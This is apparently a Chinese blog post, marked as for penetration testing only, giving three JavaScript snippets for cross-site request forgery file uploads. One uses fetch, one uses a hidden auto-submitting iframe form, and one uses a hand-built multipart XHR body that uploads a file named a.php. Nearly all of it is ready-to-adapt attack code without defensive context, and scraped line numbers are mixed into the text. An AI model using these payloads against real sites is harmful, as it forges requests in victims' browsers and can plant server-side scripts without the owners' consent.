2024-05-12 2026-01-25 仅供渗透测试,禁止他用方案一:fetch 1234567 let formData = new FormData();formData.append('name', 'John');formData.append('file', new Blob(['Hello World!\n']), 'test')fetch("http://www.baidu,com", { body: formData, method: "post" }); 方案二:iframe 1234567891011121314151617181920212223242526272829303132 var Iframe=document.createElement("iframe")Iframe.name="csrf-frame"Iframe.style="display:none"var Form = document.createElement("form");Form.action = "http://www.baidu.com";Form.method = "post";Form.setAttribute("enctype", "multipart/form-data"); Form.target = "csrf-frame";var Input= document.createElement("input");Input.type='hidden'Input.name='a'Input.value='b' const dataTransfer = new DataTransfer();var fileInput= document.createElement("input"); Form.appendChild(Input) document.body.appendChild(Iframe) dataTransfer.items.add( new File(['Hello World!\n'], 'test', { type: 'application/octet-stream' }) );fileInput.setAttribute("name", "file"); fileInput.setAttribute("type", "file"); fileInput.files = dataTransfer.files;Form.appendChild(fileInput)var formToSubmit = document.body.appendChild(Form);formToSubmit.submit(); 方案三: 123456789101112131415161718192021222324252627 if (XMLHttpRequest.prototype.sendAsBinary === undefined) { XMLHttpRequest.prototype.sendAsBinary = function(string) { var bytes = Array.prototype.map.call(string, function(c) { return c.charCodeAt(0) & 0xff; }); this.send(new Uint8Array(bytes)); };} var boundary = '----ThisIsTheBoundary1234567890'; var formData = '--' + boundary + '\r\n' formData += 'Content-Disposition: form-data; name="source"; filename="a.php"\r\n'; formData += 'Content-Type: application/octet-stream\r\n\r\n'; formData += 'Data'; formData += '\r\n'; formData += '--' + boundary + '\r\n'; formData += 'Content-Disposition: form-data; name="message"\r\n\r\n'; formData += 'message' + '\r\n' formData += '--' + boundary + '--\r\n'; var xhr = new XMLHttpRequest(); xhr.open('POST', 'haha', true); xhr.onload = xhr.onerror = function() { console.log(xhr.responseText); }; xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary); xhr.sendAsBinary(formData); 前一篇 锐捷云课堂镜像缩小方案 后一篇 给网络镜像模式下的 WSL2 使用 127.0.0.1代理的方法
说些什么吧!